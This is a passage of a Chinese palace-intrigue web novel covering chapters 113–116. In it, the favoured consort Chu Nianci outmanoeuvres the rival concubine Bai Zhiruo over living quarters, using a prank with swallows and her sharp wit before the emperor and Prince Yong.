他重重磕了个头,声音满是忠诚:“奴才遵命,一定将这差事办好。”
宝柱出去喊人将他拖了下去打四十板子。
岚姑姑与宝柱垂手而立,脸上神色复杂。
宝柱白皙俊俏的面露怀疑道:“小主,这福贵已经背叛过一次,会不会反水?”
“一定会……”楚念辞淡淡笑道。
她怎么会信任一个已经反过水的人?
宝柱清楚地意识到……这位主子,绝非表面那般纯良无害。
可这又如何?
都是这些人,起坏心陷害主子,主子只是被迫反击。
这时团圆嘟着嘴走进来……
“小主,太欺负人了,莲嫔身边的绮云过来,带来了皇后娘娘的圣旨,说让咱们把主殿打扫干净让出来,她主子要住进来了。”
一瞬间恼火冲上了胸口,楚念辞握紧了双拳。
宫里这么多殿阁,她为何偏偏往自己这宫里挤?
这是看自己没有家室地位,欺到门上来了。
满宝也踮着脚尖进来,见主子神色不佳,小心道:“听说今日太尉夫人进宫面圣,求陛下了,估计就是这事。”
楚念辞只觉得自己的太阳穴突突直跳。
手指敲了敲桌案。
所以是太尉府出手了,她要忍让吗?
可若是忍让,便很有可能一让再让,宫中再无他立足之地。
“刚刚莲嫔做了滋补的汤水,如今就站在养心殿外面候着,肯定也为这事,”满宝小心畏畏缩缩道,“小主,怎么办?”
楚念辞努力压制住这股气恼……
莲嫔要住棠棣宫……好算计,好手段,好心思。
她有皇后的旨意。
看来皇后已经和莲嫔勾结在了一起。
她不想和她们争,但她们想骑到自己头上。
慕求荣华富贵的人,最恨别人来**势地位。
这棠棣宫,她早就视做囊中之物。
想让她让出去,万万不可能。
“团圆,”楚念辞道,“给我熬一锅粥,本小主要去养心殿见陛下……”
第113章 试探自己在帝王心中的位置
她出了侧殿,见殿外,玉兰花发了春意,亭亭玉立在红墙碧瓦间,分外赏心悦目。
风已带了暖意,吹面不寒,一对燕子飞到主殿檐下正忙着筑巢。
“燕子……”团圆兴冲冲跑去查看。
“已经到燕子啄新泥的时辰。”楚念辞看那小燕子。
又看了看刚刚发出嫩花苞的玉兰。
眼中浮现起一丝狡黠笑容,转头对宝柱道:“母燕子很快孵小鸟,去找个在玉米树上放个食盒,放点玉米小米。”
有了食盒,两只燕子一定会在玉兰树上停留时间比较长。
燕子是直肠子。
随吃就会谁拉。
如果有人在树下跳舞的话……场面太美,楚念辞暗戳戳的布置,想到这一点就想笑。
为了确保莲嫔会站在花树下,她让宝柱将皇帝的那件月白寝衣挂在树上。
安排好一切,楚念辞提着食盒,一路走向养心殿……
皇帝刚为她母亲下了封赏的诏书,于情于理,她都该来谢恩。
食盒里是团圆做的点心和粥,皇帝近来偏爱团圆的手艺。
刚至养心殿门前,却见白芷若领着贴身宫女绮云站在那儿。
莲嫔显然已等了一会儿,见楚念辞过来,眼底掠过一丝讥诮,却立即压下,扬起一抹娇柔的笑容。
楚念辞依礼问安。
白芷若抚了抚鬓角,声音娇柔:“慧贵人也来了?我才送了燕窝粥,可李公公说我父亲正在里边与陛下商议修葺宫室之政务,没空见呢,妹妹这一趟,怕是要白走了。”
她轻轻笑了一声,父亲如今是户部尚书。
正管着银钱支出,若陛下不允自己入住棠棣宫,便要重新修缮宫殿。
而听说陛下如今正忙着春耕,哪里有钱来修宫。
所以自己入住棠棣宫是板上钉钉的事,想到这儿,她立刻面露得意之色。
绮云讨好地说:“是呀,再得宠,与国事比起来又算什么呢?咱们小主好歹是太尉亲生女儿,又是嫔位,都让站在门口候着,何况小主……”
“绮云,”白芷若轻声打断,似在呵斥,眼底却无半分责怪,“别胡说,慧贵人自然不一样。”
她转向楚念辞,道:“宫女失礼,还望妹妹不要见怪。”
尽管她比楚念辞还要小一岁,但宫里只问尊卑,不问年龄。
原来是仗着她父亲在里面。
想用家世压自己一头。
楚念辞笑容温婉:“这有什么,她说的也是实话,太尉在里面,陛下又对姐姐念念不忘,定会允你进去的?我只是送一碗粥,没指望拜见陛下。”
莲嫔微微一笑:“妹妹说笑了,日后同在棠棣宫宫中,还望多关照,对了,妹妹不会不欢迎吧。”
“怎么会呢,妹妹一个人住在那儿,也怪冷冷清清,姐姐来住多热闹。”楚念辞笑意盈盈。
正说着,首领太监李德安已迎了出来,恭敬行礼:“奴才给莲嫔娘娘、慧贵人请安。”
“李公公,”白芷若抢先开口,“劳烦再通禀一声,本宫亲手炖了鲍鱼鱼翅汤,最是养生,想请陛下尝尝。”
李德安面露难色,还未答话。
楚念辞已温声道:“天干物燥,想着陛下批阅奏折辛苦,便让团圆炖了玉梨参粥送来。陛下若不得空,将粥留下便好。”
李德安顿了一下,立刻躬身:“两位小主稍候,奴才这就去禀报。”
“来人啊,给两位贵人端椅子过来,”他只接了玉梨粥道,“莲嫔娘娘,陛下吃不得海鲜。”
如今每日往养心殿送汤水的不知凡几,许多汤水里面都有海鲜,皇帝根本不能吃,那些心意都便宜了底下人。
终究只有慧贵人明白陛下的口味。
白芷若主仆僵立在原地。
看着她的食盒被提进去,指尖微微掐进掌心。
不多时,李德安快步返回,笑容满面地对楚念辞道:“陛下听闻贵人来了,很是欣喜,请贵人进去呢。”
楚念辞颔首,接过团圆手中的食盒,朝白芷若微微一礼:“臣妾先行一步。”
白芷若脸上那抹娇柔的笑意瞬间僵住,尴尬的耳根泛红。
她强撑着仪态,轻声道:“既如此,有劳妹妹将本宫这份心意也带进去罢。”
楚念辞笑着接过,转身入了殿门。
殿门合上的一瞬,白芷若眼神彻底冷了下来。
她一言不发,转身便走。
绮云战战兢兢跟上,谁知一转头,正巧看见纯贵人与玫常在一脸鄙夷地看着她们。
“我当是谁呢,这不是草裙舞姬吗?”
“自己上杆子做的东西,还要靠别人送进去,真是可笑。”
玫常在毫不客气地嘲笑。
原本玫常在也是不敢这般冒犯主位娘娘,可她如今刚刚投到淑妃门下,自觉有了仗腰子的。
便不把莲嫔放在眼里了。
纯贵人站在一边笑得尴尬,不知如何是好。
白芷若冷冷地盯着她们。
绮云是陪嫁丫鬟,立刻上前斥责:“谁给你们的胆子竟敢嘲笑上位娘娘?”
“呵……”玫常在并不害怕,撇着嘴笑道,“谁嘲笑她了,我有指名道姓吗,不要没事就把有的没的往自己头上乱按。”
“走,何必跟他们一般见识?”莲嫔声音平静,却透着一股寒意,“今日之辱,我记下了。”
说完转身便走,绮云慌忙跟上,走出养心殿方低声道:“可慧贵人圣眷正浓,咱们该如何是好?”
“圣眷?”白芷若轻嗤一声,望向坤宁宫的方向,“陛下确实宠她,不过,她并没有什么家室,应该是仗着淑妃提拔,才爬到今日,可我有太尉府撑腰,又已搭上了皇后娘娘,难道还要忍她。”
她眼中妒火与算计交织:“走,去坤宁宫,这棠棣宫我住定了。”
楚念辞踏入殿中。
店中只有端木清羽一人,正坐在窗边静静翻阅一本《农耕全书》
他一身素衣,墨发未束,侧影清俊如晨间初菊。
察觉她进来,他侧过脸抬眸看来。
那一瞬间眉眼舒展,容色殊丽,竟让整间内殿映亮了几分。
“臣妾给陛下请安。”楚念辞温声行礼,姿态恭敬。
端木清羽放下书,起身走来,伸手扶起她:“不必多礼。”
他眼底漾着浅淡的笑意,牵起她的手走向窗边的暖榻。
李德安极有眼色,放下食盒便躬身退了出去,轻轻掩上门。
殿内静了下来。
楚念辞扫了一本那书。
心想原来他在忙着农耕的事儿。
便转身从食盒里端出梨粥,回身时,却见端木清羽并未接碗,而是斜倚在窗边,一手支着额角,静静地望着她。
他忽然探身,从窗边小几上的瓷盆里折下一朵玉萼水仙,那花苞将开未开,洁白如玉。
他修长的手指捏着花茎,在透窗
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而入的明亮光线下,那花朵竟如覆了一层薄霜,清冷剔透。
端木清羽慢悠悠转过身,半边身子倚着窗棂,窗隙漏进的微风拂过俊美的侧脸。
将那朵水仙轻轻别在楚念辞鬓边,方含笑问道:“慧儿此刻过来,可是为了分封宫室之事?”
楚念辞心下一动……
她尚未开口,他竟已猜着了。
“陛下明鉴。”她垂下眼睫,“臣妾知道新朝初立,用钱之处甚多,为避免大肆修葺后宫,还请陛下允准,各宫多住几位嫔妃……”
她说着放下碗,便要屈膝,却被端木清羽托住了手臂。
“还没说两句又要跪,”他语气温和,“朕说过的,你与旁人不同,不用动辄就跪,有话坐下来说。”
说着就要来搀扶她。
“臣妾此来,是恳请陛下,让棠棣宫多住进来几位妹妹。”楚念辞并未起身。
端木清羽微微一怔。
他本以为她是来求他守住承诺、拒绝旁人入住的。
却没想到,她说的竟是相反的建议。
“再如何艰难,棠棣宫不会让旁人住进去,那是朕留给咱们俩的一处清静之地。”
楚念辞抬眼,眸中流露出几分的动容:“能得陛下如此厚爱,臣妾已觉惶恐,若再为臣妾空置宫室,岂非让人非议陛下?”
“你不怕吵闹?”他注视着她的眼睛。
“人多热闹,臣妾只求一事,”楚念辞迎上他清美的目光,恳切道,“若真要添人,可否让斓贵人同住?她性子安静,与臣妾也谈得来。”
端木清羽没有立即回答。
他松开手,转身望向窗外。
殿内一时寂静,只闻更漏细微的滴答声。
楚念辞咬住唇。
她能感觉到,身侧之人的气息渐渐沉了下来。
帝王之心,向来不喜被拂逆,即便那是体贴之举。
但她今日,偏想探一探他的底线。
毕竟对君王而言,曲意逢迎的女子太多了。
若想真正走进他心里,便不能一味顺从。
她要让他习惯她的存在,习惯她的思虑,甚至习惯她偶尔的“不听话”。
她在试探帝心。
试探自己在他的心中。
到底是什么位置?
其中的分寸极难拿捏……进一步可能触怒龙颜,退一步则永远只是寻常宠妃。
“陛下,若不允各宫住新人,便要修缮宫殿,”她轻声奏道,“新朝初立,民生艰难,臣妾入京途中,见城外仍有断壁残垣,耕地荒漠连阡,如今春耕将至,将银钱用在修缮宫室上,实非急务,棠棣宫宽阔,多住几人又何妨?”
端木清羽终于回过头。
忽明忽暗日光下,他眼底的神情沉美幽深,难以捉摸。
他伸手,轻轻执起楚念辞的右手,拉着她坐到身边,道:“朕不准。”
端木清羽目光深深锁住她:“宫室之事朕会让淑妃另做安排,朕说过的话,从无更改,棠棣宫是你的,永远只是你的。”
楚念辞心尖微微一颤。
不知是感动,还是欣喜。
没有想到,他竟用一种近乎固执的回护,在江山利益权衡之中,硬要为她留出一处清静的天地。
今天的宽容礼让她做得漂亮。
他护得更令人动容。
楚念辞在他几乎看不见的角度,微微翘起一丝得意的嘴角,再回头,她柔顺地应道:“臣妾……明白了。”
第114章 玉兰树下,莲嫔放歌。
楚念辞哪里真想让人住进来。
她不过是以退为进,若直接反对,反倒容易惹帝王猜忌。
见好就收,凡事不可过分。
过分了就适得其反。
心思转过,她已有了计较。
面上却适时流露出一点“被帝王独宠”的小小得意,下颌微抬,眼波流转。
端木清羽见她这般情态,唇角弯了起来,方才眼底那抹幽深一扫而空。
他忽然伸手,亲昵地刮了下她的鼻尖。
楚念辞一怔。
没等她回神,人已被揽入怀中。
趁他下巴轻抵自己发顶,楚念辞眼中掠过一丝极淡的欣喜,声音却娇软:“陛下如此宠爱臣妾……小心宠坏臣妾,到时候您别不高兴。”
端木清羽低笑,眼底泛起兴味:“哦?朕还不知道慧儿宠坏的样子,你是越发胆大了。”
后宫妃嫔在他面前大多谨小慎微,无趣得紧。
唯有她,鲜活生动,让他感到自己是一个活生生的人。
他是天子,富有四海,却也孤独寂寥。
唯有她,能时不时让他感受到普通人的情绪起伏,冲淡那丝高处不胜寒的感觉。
或许是因为如此,他对她才偏宠了一些吧。
他这样对自己说。
楚念辞眼波盈盈,眉间红痣愈艳,那股纯然又妩媚的风情自然流露:“那也是陛下惯出来的,臣妾不管,就要补偿。”
她深知自己这种耍无赖模样最动人。
端木清羽喉结微动,眸色倏地暗沉。
昏暗光线下一双眼睛亮晶晶的,她歪头看着端木清羽:“陛下,想做点需要避子的事吗?”
说着,手已经不老实了,去扯他亵衣的带子。
端木清羽又窘又无奈,按住她的手,脸都红了:“朕……朕先来。”
楚念辞一手撑在他颈侧,俯身就亲了上去。
亲了好一会儿才松开,嘴唇还若有若无地蹭着他的,低声呢喃:“嗯?”
端木清羽血气方刚,哪还忍得住?抬手抱住她就亲了回去。
他亲得投入,楚念辞却没那么专心。一边任他亲着,一边伸手摸摸他耳朵,顺着脸颊摸到脖子,手就往衣襟里探。
端木清羽有些不自在。
后宫的嫔妃哪有这么大胆的?
他被摸得浑身不对劲,发觉自己被压在下面,而她还在扯他衣服……这感觉不对。
他勉强收回一丝神智,握住她肩膀想把她掀下去。
楚念辞反手把他那只手按在枕边,拉开点距离问:“干嘛?”
端木清羽满脸春色,眼波水汪汪的。
楚念辞又去解他衣带,在他的脖子上咬了一口。
端木清羽忙握住她手腕。
“又怎么了?”
“别亲朕脖子……嗯……”
“真麻烦!”楚念辞低头在他下巴上。
端木清羽抓了抓她头发,忍着痒:“别留痕迹……”
“偏要,”楚念辞在他衣领能遮住的地方又嘬了一个印子。
端木清羽忍无可忍,一翻身把她压在身下。
“好。”他声音沙哑,眸色深深,“朕今夜……好好补偿你。”
见他眸子又泛出一丝暴虐,楚念辞便又有点害怕了,刚想求饶。
端木清羽一伸手挥落帐幔。
罗帐垂落,掩去一室旖旎。
帐内声响时急时缓,间或飘出女子轻软的求饶:
“陛下……您轻些……”
皇后病重,六宫事务一股脑全推到了淑妃头上。
分封宫室这事儿,如今是她说了算。
淑妃听母亲建议,给各宫都塞上人,就是没给棠棣宫塞人,也没给莲嫔安排住处,就是想看他们自相残杀河蚌相争。
她手指点着花名册,正琢磨安排得对不对,绿翘匆匆从外头进来。
“娘娘,养心殿那边传了陛下的口谕。”
淑妃抬眼:“说。”
绿翘压低声音:“棠棣宫不许住旁人,陛下让慧贵人一个人住,这事儿没下明旨,是口谕,眼下就咱们知道。”
淑妃手里的名册“啪”地落在案上。
她愣了一瞬,旋即冷笑出声来,笑声却发紧,让人脊背发凉:“就咱们知道?这是怕别人议论,坏了慧贵人的名声?陛下倒是体贴。”
绿翘不敢接话。
淑妃缓缓靠近椅背,那双漂亮的杏仁眼怔怔地望着虚空。
半晌,才喃喃道:“本宫入宫三月了,见陛下的次数虽多,但侍寝之日,掰着手指头都数得过来,陛下可曾为本宫下过这样的口谕?”
“陛下总说,本宫在他心里是青梅竹马的情分,连皇后本宫都没放在眼里,可如今呢?”
她倏地站起身,袖风扫过桌案,一整套青瓷茶具“哗啦”碎在地上。
满室宫女齐刷刷跪倒,大气不敢喘。
“一个入宫不到两个月的!”淑妃声音陡然尖厉,“从官女子到贵人,陛下抬她跟抬着玩似的,如今更让她独居一宫……本宫算什么?本宫这些年的情分,难道还抵不过她这狐媚子!”
绿翘膝行上前,急声劝道:“娘娘息怒,慧贵人得宠也好,她是咱们的人呀,她出身低微,翻不出您的手掌心,不如……”
“不如什么?”淑妃使劲一拍桌子,眼眶已红了,泪珠在长睫上颤了颤,终是滚落下来。
绿翘心头一酸,轻声道:“娘娘,您是真心爱慕陛下的,婢子知道,可您想想,慧贵人已经喝了绝子汤,彻底成了咱们的棋子,皇后,莲嫔那家世那心机,才是后患,陛下宠慧贵人,总比宠莲嫔好。”
淑妃咬住唇,泪水扑簌簌往下落。
绿翘凑近些:“莲嫔一直想住棠棣宫,娘娘只当不知道陛下的口谕,反让人传圣上口谕,让她住进去好了。”
淑妃怔了怔,泪痕犹湿,眼底却慢慢浮起一丝冷意。
“你是说
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,让她们俩去斗?”
绿翘垂首不语。
淑妃缓缓坐回椅中,将帕子攥紧,又松开。
她望着满地碎瓷,声音已平静下来,只余些许沙哑:“找个不起眼的小宫女,把消息递到莲嫔那边。”
她顿了顿,唇角勾起一抹极凶极冷的弧度。
次日,白芷若带着人和大包小裹,浩浩荡荡搬进了棠棣宫。
楚念辞托病没露面,白芷若也没工夫搭理她……先紧着把正殿收拾出来再说。
正殿说是修缮,其实早修得差不多了。
白芷若让宫人们忙着,自己踱到侧殿楚念辞门口。
这儿一墙之隔,就是养心殿。
她今日没穿烦琐宫装,一身葱绿裙子,头上同色绒花,纤腰不堪一握,眉目精致,婉约如三春的嫩柳,清清丽丽又勾人魂魄。
这副模样,没几个男人能挪开眼。
皇帝也不例外。
她记得宫宴那晚,皇上夸过她歌舞。
今天她就偏要在楚念辞眼皮子底下,把人勾过来。
她忽地看见一株盛放的玉兰树,花苞支伶间挂着一件月白色寝衣。
那寝衣……飘飘悠悠的,吸引住她目光。
那是圣上的寝衣吗,好个慧贵人,想用这种方式向自己炫耀吗?
“绮云,去拿琵琶,本宫要练练嗓子。”她就是选中这儿。
不一会儿,悠扬的琵琶声伴着婉转歌声,响了起来。
端木清羽正与二位世家公子品画,雍亲王端木冥羽与太尉世子白云琛,忽听殿外传来一阵歌声。
歌声清亮婉转,柔情百转。
是莲嫔。
他喜欢听莲嫔唱曲跳舞,这几天,曾召她去养心殿唱过几回,但此时高歌,不太合宫规,他皱了皱眉。
李德安见皇帝皱眉。
他正想派人去喝斥,雍亲王端木冥羽却先开了口:“好靓的嗓子,陛下宫里还藏着这等妙人?”
雍亲王一身深色广袖王袍,双肩宽厚身材矫健长眉锋锐眸色深邃,生得也极出挑,只是站在端木清羽身边,终究被皇帝那龙章凤姿压了下去。
两人虽是亲兄弟,一位肖父,一位肖母。
端木清羽如啄如磨如翡如翠肖母,俊美得如同世外谪仙。
而端木冥为高大威猛冷峻飞扬更肖父。
相貌天差地别,完全不一。
若说两人相似之处,只那一双长眉,乌黑锋利,眉梢斜飞的模样如出一辙。
此时,皇帝就用这样的长眉挑了挑雍亲王,王爷忙收起方才的唐突,改口道:“陛下,臣唐突了?”
端木清羽抬了抬手:“无坊,既然王兄感兴趣,走,朕与王兄过去看看。”
截宠这事儿,宫里常见。
只是敢违反自己的口谕,不常见。
李德安麻利地在前面引路,心里直惴惴,光天化日就敢在宫里这般高歌?
看皇帝的脸色似乎并不高兴……
第115章 白芷若触到帝王禁忌
与此同时。
团圆抱着蜜饯罐子,边往嘴里塞边气鼓鼓地说:“小主,陛下不是说好了不许旁人住进来吗?她怎么搬进来了,还在外头大白天唱曲儿,跟个歌姬似的!”
楚念辞微微眯眼。
心想,端木清羽的口谕是传给淑妃的。
但看来淑妃娘娘没把陛下的口谕告诉她。
“这样才好,让她住进来,才能再把她撵出去。”楚念辞笑起来。
团圆睁大眼睛:“小主,您的意思是……待会儿咱们把她撵出去?”
楚念辞倒是不着急。
自然过会儿有人会来收拾他。
“不要脸,连晚上都等不及。”团圆最看不起这种不择手段的人。
楚念辞却不生气。
一边听着外头的曲调,一边还用手指轻轻打着拍子:“待会儿陛下来了,才有好戏看呢。”
团圆迷糊,心想虽说这女人不要脸,但唱的还挺好听的。
就怕过会儿陛下给勾走了,于是有点担心地说:“有什么好戏呀?”
楚念辞不答反问:“我让你在玉兰树上扎的食盆,弄好了没有?”
团圆一愣:“扎好啦。可小主,那树下哪儿能蹲人呀?燕子天天在那儿拉屎……”
楚念辞轻笑:“白芷若其实挺聪明的,但这一次做得太心急了,她兵行险着才乱了方寸,后宫女人这么多,她想着一鸣惊人,只有从我的地盘上,把我踩下去,才能让后宫的人,都看看,她才是真正得宠的人。”
团圆一听更来气:“原来是存了这样的心思,真过分啊!”
楚念辞却毫不在意,她看得更深,更远:“呵,白芷若不过是个嫔位,哪有这般胆量在养心殿附近干这种事,她有这样的底气,怕都是因为攀上了皇后娘娘,才敢如此大胆。”
团圆有些担心:“小主,那咱们就这么干看着?”
楚念辞摇头:“什么都不必做,静静看她演完这出戏就好。”
白芷若费尽心机编排了今日这一出,只可惜,楚念辞早她一步,该安排的都安排妥了。她今天做的所有事,注定是白费功夫,弄不好还要惹得皇上更厌恶她。
“今夕何夕,见此良人,子兮子兮,如此良人何……”婉转动人的诗经乐曲,仿佛蕴含着无限深情的歌声在春风中飘荡。
端木清羽带着几位世家子弟走到玉兰树下,远远便听见一阵歌声,循声望去,只见树上挂着一袭月白色的寝衣,不由微微愣了一下。
连忙收回目光。
视线落在树下一袭浅绿衣棠,轻纱遮面,清冷出尘,宛若仙子。
歌声空灵婉转,如黄鹂清啼,说不尽的脱俗高雅,她身姿曼婉,纤腰一握,眉目如画,美得不食人间烟火。
一刹间,所有人看着世外仙株般面容,听得仙音如痴如醉。
一曲终了,白芷若这才发觉帝王就站在身后。
她眼波流转如水莲花一样娇羞,盈盈下拜,腰肢纤细不盈一握,“臣妾给陛下请安,陛下万岁!”
面对如此如同天籁的嗓音,就连帝王眼中,也闪过一丝惊艳之色!
不过,惊艳同时,端木清羽眼底却闪过了一抹诧异。
他分明下过令,棠棣宫不许旁人入住。
“爱妃怎么会在这儿?”端木清羽上前扶起她。
白芷若微微愣了一下。
不是陛下让自己住进来的吗?
但她不愧是太尉之女,反应极快,只愣了一下就摘下了脸上的面纱,含羞带怯道:“回陛下,本来臣妾还住在储秀宫,接到您囗谕,说棠棣宫修缮妥当,特意命臣妾搬进来,陪王伴驾……”
端木清羽微微一愣,道:"朕何时有此口谕。"
莲嫔脸色难看起来。
不是皇帝的口谕吗?
端木清羽低头思索,皇后病着,这口谕定是淑妃那边假传了。
淑妃又在使小性子折腾人呢。
白芷若眼中尽是惊惶。
刚才那曲倾城,陛下分明听入了神。
以自己的姿色和歌声笼络帝王。
“朕下令你不知,不知者无罪,你还是先搬回去,等着重新分配,”端木清羽俊脸有点发沉,“你歌艺确有精进,但这不是你该放歌的地方。”
白芷若这才慌了。
眼眶微微发红。
她连忙俯身,她纤腰一握,柔弱无骨楚楚可怜:“臣妾想挨陛下住着,陛下近日为农事一直闷闷不乐,臣妾想为陛下解解乏,若臣妾的歌声能让陛下在政事繁忙之余得片刻宽慰,臣妾死也无憾……”
她说得楚楚动人,怯生生的模样,任谁看了都不忍苛责。
果然,端木清羽扶起来她。
还拍了拍她的手背,语气温和了一些:“你的心思是好的。”
“不过,”端木清羽斜眼看她,目光如初凝的薄冰,清澈锋利,“朕并未召你,怎知朕近日为农事不快?”
帝王最恨后宫与前朝勾结。
这是帝王不能容忍的禁忌。
说轻了是传递消息,窥视帝心,说重了是密谋**都有可能。
白芷若心头一紧。
她这几天和父亲通信,自然知道父亲在用农耕与亲农礼的事压着皇帝。
希望皇帝让自己住进棠棣宫,并且尽快让自己侍寝。
父亲还说小皇帝只要低头。
以后就什么事都会由着自己的性子。
这怎么和料想的不一样?
她低下头,不敢隐瞒,掩住眼底的慌张,声音已有些发颤:“臣妾、臣妾只是惦记父母,写了几回信去问……”
“谁是莲嫔的掌事姑姑。”端木清羽打断她的话问。
一名太尉府的老嬷嬷出来向端木清羽行礼,道:“回陛下,是奴婢。”
“拖下去,杖毙!”端木清羽平淡地道。
老嬷嬷惊惧不已,跪在地上大声求饶起来。
“陛下,为何如此?”白芷若泫然欲泣,能贴身伺候她,自然是府里老人。
莫名其妙被赐死,如同断了臂膀,她顿时慌了神。
“既然入宫,便是宫
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中人,竟然敢窥伺帝踪,与太尉府传递消息,你说该不该死?”端木清羽目光柔和。
他语气也不带一丝戾气,这般慢条斯理说话的样子,仿佛他根本不是**,而是在颁布着赏赐。
老嬷嬷被两个太监拖了下去。
白芷若浑身发抖,几乎要软倒在地上。
她入住棠棣宫什么情况都想到。
包括争宠失败。
就是没有想到会丢掉身边人的一条命。
此时此刻,她才明白什么叫伴君如伴虎。
在这个看上去人畜无害俊美无双的小皇帝面前,说错一句话都是会送命的。
她忍不住两条腿直打颤。
白云琛见亲妹白芷若红着眼睛快要昏倒,俊眉紧蹙,开口求情:“陛下,臣妹也是记挂父母,无意得知政事,并不是有意打听政务。”
端木冥羽眸色幽深,也跟着求情:“是啊陛下,虽说后宫不得干政,她确实不是有意违反宫规,求陛下饶她这一回。”
端木清羽见两人这么说。
终于叹了口气,“既然两位爱卿为你求情,此事便翻过,不再提了。”
于是,上前亲自将白芷若扶了起来,语气款款:“这儿不是你该住的地方,尽早搬出去吧。”
白芷若心沉到了谷底。
灰心丧气,想要再哀求,但因为自己刚刚被陛下捉住那么大一个错。
又不敢说话。
只能含泪不甘道:“臣妾盼着日日能望见陛下……”
她眼波含水,柔弱可怜用玉白的手指抹着眼角,想凭她娇弱动人,重新把这件事翻转过来!
端木清羽再次拍了拍她的手背:“好了,你的心意,朕知道了……”
他的话才说一半……
“啪嗒……”
一坨鸟屎不偏不倚,正正落在白芷若发顶,顺着额角往下淌。
她那张方才还如仙子般清冷出尘的脸,此刻挂着一大团黏糊糊的脏东西。
端木清羽猛地松开手,侧身捂住口鼻,往后退了两步。
李德安吓得差点连忙挡在皇帝前面:“莲嫔娘娘,您这脸……”
白芷若僵在原地,脸涨得通红。
她伸手摸了摸发顶,满手黏腻,再也绷不住了,捂着脸呜呜咽咽地哭了出声来。
方才那不食人间烟火的月宫仙子,此刻狼狈得像个戏台上的丑角。
帝王脸上那点怜惜表情,早就飞到九霄云外去了。
他皱着眉连连后退,以衣袖掩口,吩咐:“赶紧打水来,给莲嫔洗洗。”
“是!”
绮云慌慌张张去打水。
正在这时,一位宫装少女从侧殿出来了。
她匆匆赶来,拿帕子掩着口鼻,眼里尽是惊诧:“哎呀,莲嫔姐姐这是怎么了。”
嘴上这样说着。
眼里确实藏不住的讥笑。
她的微笑落进莲嫔眼中。
莲嫔手指紧紧握成一团。
“是你……是你故意害我吧。”莲嫔脸上红白交加,抹着眼泪水向端木清羽哭诉。
第116章 楚念辞妙怼雍亲王
楚念辞不理她得气急败坏。
只向端木清羽行礼。
“免礼。”端木清羽上前扶着她道,“惠儿也在啊?”
“方才正在午休,听闻陛下说话慌张,臣妾担心龙体,赶紧更衣过来看看……**姐这是怎么了,怎么弄的这一身?”
“弄成这样,难道你不知道?”白芷若憋屈地说,眼泪层层叠起。
楚念辞语气伤心而委屈:“陛下,臣妾一直在午休,并不知道这里发生了这样的事,莲嫔娘娘这是要把屎盆子扣在我的头上……”
她刚说出屎盆子三个字。
端木清羽就一阵恶心,忙着道:“还不赶紧扶莲嫔下去洗洗。”
几位宫女连忙上前扶着泪水涟涟的莲嫔下去。
端木冥羽偷偷端详楚念辞,梳着堕马髻,乌黑的发辫垂在两颊边,衬得一张小脸珠玉似的白净,粉白的颈子微微弯着,像垂丝海棠的细梗。
人还没走近,幽幽的香气已经拂了过来。
端木冥羽前几日宫宴上远远见过楚念辞一面,只觉明艳逼人。
如今近了看,更觉这般绝色世间少有。
尤其那双眼睛,澄澈透亮,狡黠灵动,像会说话似的,瞧一眼就叫人心跳快了半拍。
不知为何,他忽然觉得这双明智的眼睛,竟能看透自己的心事。
一时竟呆了。
还是白云琛在一旁轻轻碰了他一下,他才迅速回神。
楚念辞吩咐宫人端座椅、奉茶水,不慌不忙地把一应事宜安顿妥当。
很快,三位便坐在旁边的海棠树下,一边品茶,一边闲聊。
自打她露面,端木冥羽的眼睛就没挪开过。
端木清羽又怎会看不出他眼中的垂涎爱慕之意?
当下又是紧张又是气恼,忍不住拿乌黑锋利的眼眉去斜斜瞥他。
端木冥羽一抬头却见皇帝正眸光冷湛湛地看着他,便故作无意,侧头看向别处。
“二位光发愣不喝茶,是嫌朕宫里的茶不好?”端木清羽垂着眼,轻轻撇着茶沫,语气听不出喜怒。
端木冥羽和白云琛忙道不敢。
端木冥羽喝了一口茶,扯出几颗白牙,嘴角浮出一个梨涡,尽管他生得长眉锋锐眸色深??,此时努力摆出一副温文尔雅的模样,笑道:“陛下,这位莫不就是慧贵人?”
“怎么,王兄有何见教?”端木清羽不答反问。
“见教不敢。”端木冥羽笑得促狭,压着嗓子,“难怪陛下椒房独宠,这等绝色在侧,哪个顶得住,陛下当真是好福气,可得一碗水端平,别弄得独宠一人,惹六宫怨怼。”
他尽管说得一本正经,却掩不住话中调侃之意。
“王兄这想法倒是独到,”端木清羽抬眼看他,“只是朕不懂你什么意思。”
端木冥羽与白云琛交换了个心照不宣的眼神,一笑:“陛下又何必明知故问呢?”
白云琛跟着笑了笑,只是笑得有些勉强。
端木清羽忽然扬声:“慧儿。”
楚念辞应声上前:“臣妾在。”
“你来说,朕对后宫可有独宠?”端木清羽问。
楚念辞不假思索:“自然不会。”
“为何?”端木冥羽只是不信。
“旁的不说,陛下并不是好色之人。”
“你说这话我却不信,世上哪有不渔色的男子?”端木冥羽摸着下巴看她。
“不说旁边,陛下容貌之于臣妾等,恰如太阳之于星辰,”她一脸坦然,说得理直气壮,“试问太阳怎会贪恋星辰之光,而太阳普照万物,灿烂之光,怎会不公平?”
“这……”端木冥羽没料到她如此说。
如此面不改色心不跳地拍陛下的马屁。
妙就妙在把陛下比作普照万物的太阳。
说得如此令人信服,无法反驳。
如此急智当真是令人佩服。
蓦然之间,他眼中突然闪过兴味之色,侧头,细细打量她,在端木清羽看不见角度,目光又放肆起来,带着一种巨细靡遗的细致。
这样的目光真的胆大。
让楚念辞极其想把他拖出去,赏他几板子,哪怕他真的相貌出色挺拔英俊!
这雍亲王可不是等闲角角色,前世他最后和太尉府两位贵妃勾结到了一起,小皇帝去世后,让自己的儿子过继给白芷若,成为皇帝。
最后当上了摄政王,就连太后都要避其锋芒。
楚念辞又瞟了两人一眼。
端木清羽朗朗晈晈如谪仙,端木冥羽如高大威猛如冷松。
两人各有风姿,本不相上下。
但端木清羽眉目明朗晈如日月,而端木冥羽眉目间始终有一丝阴鸷,终究落了一丝下风。
“慧贵人急智善辩,本王佩服。”
“臣妾不是善辩,只是客观公正,心中所想,口中所言,绝无半点虚饰,更不似某些人偏颇不公,庸俗无聊。”她一本正经,眼光澄澈透明,根本不似作伪。
这王爷刚刚明里暗里,可是帮着白家说话。
自己不把他怼回去,还当自己好欺负。
端木冥羽顿时有点尴尬:“你夸陛下,怎的把我和白公子一并骂进去了?我们怎么就庸俗了?怎么就偏颇不公了?”
楚念辞瞟他一眼,慢悠悠道:“你又何必明知故问呢?你刚说分明暗指陛下独宠于我,是帮**姐说话吧。”
端木冥羽瞠目结舌。
自己帮白芷若也帮得很隐蔽。
转眼就被这小女子原封不动拆穿了。
端木清羽忍不住笑了。
一双通透如黑曜石般的眼眸含情地看着她,唇边竟然还出现了一丝浅浅的梨涡,他伸手杯茶递过去,又命人搬个杌子来,让她坐在自己身侧。
